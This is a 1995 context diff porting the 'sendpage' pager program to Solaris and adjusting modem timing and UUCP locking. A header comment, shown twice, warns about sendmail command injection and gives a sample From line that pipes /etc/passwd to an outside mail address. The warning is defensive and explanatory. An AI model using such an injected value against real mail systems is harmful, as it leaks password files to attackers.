David W. Rankin, Jr. Technical Support, Engineering Workstation Laboratory rankin@ewl.uky.edu PGP Key via http://www.ewl.uky.edu/rankin/key.asc # THIS SOFTWARE IS PROVIDED BY THE CONTRIBUTORS ``AS IS'' AND # ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE # ARE DISCLAIMED. IN NO EVENT SHALL THE CONTRIBUTORS BE LIABLE # FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL # DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS # OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) # HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT # LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY # OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF # SUCH DAMAGE. # diff -C 5 io.c.orig io.c *** io.c.orig Sun Aug 27 23:40:56 1995 --- io.c Tue Oct 10 20:35:36 1995 *************** *** 29,49 **** --- 29,61 ---- * Revision 1.1 1995/01/10 01:43:05 maf * Initial revision * */ + #ifdef sun + #ifdef __svr4__ + #define sunos5 + #endif + #endif + #include #include #include #include #include #include #include #include #include + + #ifdef sunos5 + #include + #else #include + #endif /* sunos5 */ + #include #include #include "report.h" #include "sendpage.h" *************** *** 57,67 **** #ifdef hpux #include #endif /* hpux */ - /*********************************************************************/ /* Function: OpenModem /* /* Returns: 0 for good (the device was opened and initialized) /* !0 for bad --- 69,78 ---- *************** *** 71,89 **** struct pcinfo *pcinfo; int *fd; { extern int errno, debug; struct termios t; #ifdef DEBUG if (debug > 2) report (LOG_INFO, "opening modem"); #endif /* DEBUG */ /* open the modem device */ ! #if defined(hpux) || defined(__osf__) if ((*fd = open (pcinfo->modemdev, O_RDWR | O_NOCTTY, 0)) == -1) { #else if ((*fd = open (pcinfo->modemdev, O_RDWR | O_NDELAY, 0)) == -1) { #endif /* hpux || osf */ report(LOG_ERR, "open (%.512s): %s", pcinfo->modemdev, strerror(errno)); --- 82,104 ---- struct pcinfo *pcinfo; int *fd; { extern int errno, debug; + #ifdef sunos5 + struct termio t; + #else struct termios t; + #endif /* sunos5 */ #ifdef DEBUG if (debug > 2) report (LOG_INFO, "opening modem"); #endif /* DEBUG */ /* open the modem device */ ! #if defined(hpux) || defined(__osf__) || defined(sunos5) if ((*fd = open (pcinfo->modemdev, O_RDWR | O_NOCTTY, 0)) == -1) { #else if ((*fd = open (pcinfo->modemdev, O_RDWR | O_NDELAY, 0)) == -1) { #endif /* hpux || osf */ report(LOG_ERR, "open (%.512s): %s", pcinfo->modemdev, strerror(errno)); *************** *** 91,118 **** } /* setup the device (baud rate, etc) */ /* get the current device params */ if (tcgetattr(*fd, &t)) { report (LOG_ERR, "tcgetattr (modem): %s", strerror(errno)); close (*fd); return 1; /* bad */ } /* input flags : /* ignore breaks, use XON/XOFF flow control /* ignore parity errors */ - t.c_iflag = IGNBRK|IXON|IXOFF|IGNPAR; /* strip the 8th bit if not on 8 bit mode */ if (pcinfo->databits != CS8) t.c_iflag |= ISTRIP; /* output flags: ! /* (none) */ ! t.c_oflag = 0; /* hardware control flags: /* enable receiver, modem control lines go low on close(), use RTS/CTS (hardwire) flow control to modem */ t.c_cflag = pcinfo->speed|pcinfo->databits|pcinfo->parity|pcinfo->stopbits| --- 106,143 ---- } /* setup the device (baud rate, etc) */ /* get the current device params */ + #ifdef sunos5 + if (ioctl(*fd, TCGETA, &t)) { + #else if (tcgetattr(*fd, &t)) { + #endif /* sunos5 */ report (LOG_ERR, "tcgetattr (modem): %s", strerror(errno)); close (*fd); return 1; /* bad */ } /* input flags : /* ignore breaks, use XON/XOFF flow control /* ignore parity errors */ + /* DWR: I did the code this way because there are technically + * no guarantees that the fields have undocumented areas. I + * was simply ruling them all out. */ + t.c_iflag |= IGNBRK; + + t.c_iflag &= ~(INPCK | INLCR | ICRNL | IGNCR | IUCLC); + /* strip the 8th bit if not on 8 bit mode */ if (pcinfo->databits != CS8) t.c_iflag |= ISTRIP; /* output flags: ! * Turn off all post-processing. */ ! t.c_oflag &= ~OPOST; /* hardware control flags: /* enable receiver, modem control lines go low on close(), use RTS/CTS (hardwire) flow control to modem */ t.c_cflag = pcinfo->speed|pcinfo->databits|pcinfo->parity|pcinfo->stopbits| *************** *** 123,136 **** t.c_lflag = 0; /* allow read() to return 0 bytes (ie don't block), accept wait atleast */ /* one second before returning 0 bytes */ t.c_cc[VMIN] = 0; - t.c_cc[VTIME] = 10; /* 1/10ths of seconds */ /* set device params */ if (tcsetattr(*fd, TCSANOW, &t)) { report (LOG_ERR, "tcsetattr (modem): %s", strerror(errno)); close (*fd); return 1; /* bad */ } --- 148,168 ---- t.c_lflag = 0; /* allow read() to return 0 bytes (ie don't block), accept wait atleast */ /* one second before returning 0 bytes */ t.c_cc[VMIN] = 0; + /* DWR: I found a 6 second lockup on reads led to fewer timeouts than + * 1 second timeouts. */ + t.c_cc[VTIME] = 60; /* 1/10ths of seconds */ + /* set device params */ + #ifdef sunos5 + if (ioctl(*fd, TCSETA, &t)) { + #else if (tcsetattr(*fd, TCSANOW, &t)) { + #endif /* sunos5 */ report (LOG_ERR, "tcsetattr (modem): %s", strerror(errno)); close (*fd); return 1; /* bad */ } *************** *** 657,669 **** --- 689,716 ---- /* construct password line */ strncpy(passwd, pcinfo->password, 6); passwd[6] = 0x0d; passwd[7] = 0; + #ifdef SLOW_PAGESERVER + /* DWR: During my experimentations with the pager, I found that + * not going very slow with the pager server would cause the pager + * server to not drop carrier. So this define. */ + + sleep(6); + #endif /* SLOW_PAGESERVER */ + /* Protocol requires 3 retries of sending CR, waiting for ID= */ while (--retrystart >= 0) { + #ifdef SLOW_PAGESERVER + sleep(3); + if (SendString (fd, "\r")) + return 1; /* bad */ + + sleep(3); + #endif SLOW_PAGESERVER if (SendString (fd, "\r")) return 1; /* bad */ if (!WaitString (fd, PET_ID, cbuf)) { gotid = 1; diff -C 5 sendpage.h.orig sendpage.h *** sendpage.h.orig Sun Aug 27 23:03:59 1995 --- sendpage.h Tue Oct 10 20:35:27 1995 *************** *** 59,71 **** security problems with sendpage, but if there were having sendpage setuid uucp could potentially compromise the uucp account. uucp may indirectly be a root account (look for things like a root crontab running uucp owned accounting scripts) */ ! /* #define UUCP_LOCKING */ ! /* #define TTY_LOCKDIR "/usr/spool/locks/" /* define this to ignore reply addresses with | or / in them. Both /* these characters will be interpreted by sendmail, and could allow /* for anyone to run arbitrary programs by setting their From line /* to something like "|cat /etc/passwd | mail me@my.home.com" /* --- 59,76 ---- security problems with sendpage, but if there were having sendpage setuid uucp could potentially compromise the uucp account. uucp may indirectly be a root account (look for things like a root crontab running uucp owned accounting scripts) */ ! #define UUCP_LOCKING ! #define TTY_LOCKDIR "/usr/spool/locks/" + /* If the paging central server seems to drop carrier if you attempt to + * negotiate a connection too quickly, then define the following. */ + + #define SLOW_PAGESERVER /* */ + /* define this to ignore reply addresses with | or / in them. Both /* these characters will be interpreted by sendmail, and could allow /* for anyone to run arbitrary programs by setting their From line /* to something like "|cat /etc/passwd | mail me@my.home.com" /*